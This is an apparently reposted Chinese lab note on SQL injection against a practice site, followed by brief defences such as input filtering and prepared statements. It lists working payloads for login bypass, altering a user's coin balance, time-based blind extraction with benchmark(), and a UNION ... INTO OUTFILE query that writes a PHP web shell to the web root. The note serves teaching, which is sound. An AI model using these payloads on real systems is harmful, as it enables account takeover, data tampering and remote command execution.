Web信息安全实践_6 SQL注入

瘦欲@ 提交于 2020-01-27 15:17:08

www.myzoo.com 输入示例

Login

a'# 用户a登录
a' or 1#
a' or 1=1#
a' and 1;#
d' or 1#
a' or '1 
思考:为什么无密码可以登录?为什么最终登录的都是a?
b' or 0;#  用户b登录
 
 
 

profile 

a', Coins=100 where Username='a' ;#

 

 

 
 

User

c' union select 1,1,1,1,1,1,if(substring(database(),1,1)=char(119),benchmark(5000000,encode('aaa','bbbb'),NULL);#

SQL 注入原理

注入攻击

(1)XSS
  • 用户提交数据,实际上提交的是攻击代码
  • 代码混合在数据中,使得恶意代码获得执行。
 (2)SQL 注入
  • 执行攻击者所构造的 SQL 代码
  • 应用接收用户输入,该输入被构造成 SQL 语句并获得执行
a)利用 select
$sql = "select * from Person where Username = '$username' and Password = '$password'";
$sql = “ select * from Person where Username = 'a' or 1# ' and Password = '$password'";
b)利用 update
$sql = "UPDATE Person SET Profile= '$profile'" "WHERE PersonID = '$personID'";
$sql = "UPDATE Person SET Profile= 'b',zoobars=100 where Username='b';# "WHERE PersonID = '$personID'";
3)利用 select 和 benchmark 语句
$sql = "select * from Person where Username = '$username'
// union:两条select都执行;要求前后select列数相等
$sql = "select * from Person where Username = 'c' union select 1,1,1,1,1,1, if(substring(database(),1,1)=char(119), benchmark(5000000, encode('aaa','bbbb')), NULL);#
// 把union查询结果写到文件中
$sql = "select * from Person where Username = 'd' union select 1,1,1,1,1,1,'<?php system($_GET[cmd]);?>' into outfile "/home/web/WebSec/1.php";#
// 写成功条件:知道当前网站根目录;mysql要拥有写权限;网站根目录要允许被其他进程写

SQL注入防御

  • SQL 注入的本质是利用数据注入代码
  • 区分数据和代码
    • 输入过滤和输出转义

过滤特殊符号 (' # -- 等

缺点:可能原本就需要输入带有特殊符号的数据。

开启 magic_quote_gpc转义特殊符号,把特殊符号当做普通字符

缺点:仍有可能实现SQL注入。

显式区分数据和命令

$stmt = $db->prepare("SELECT * FROM users WHERE name=? AND age=?");
$stmt->bind_param("si", $user, $age);
易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!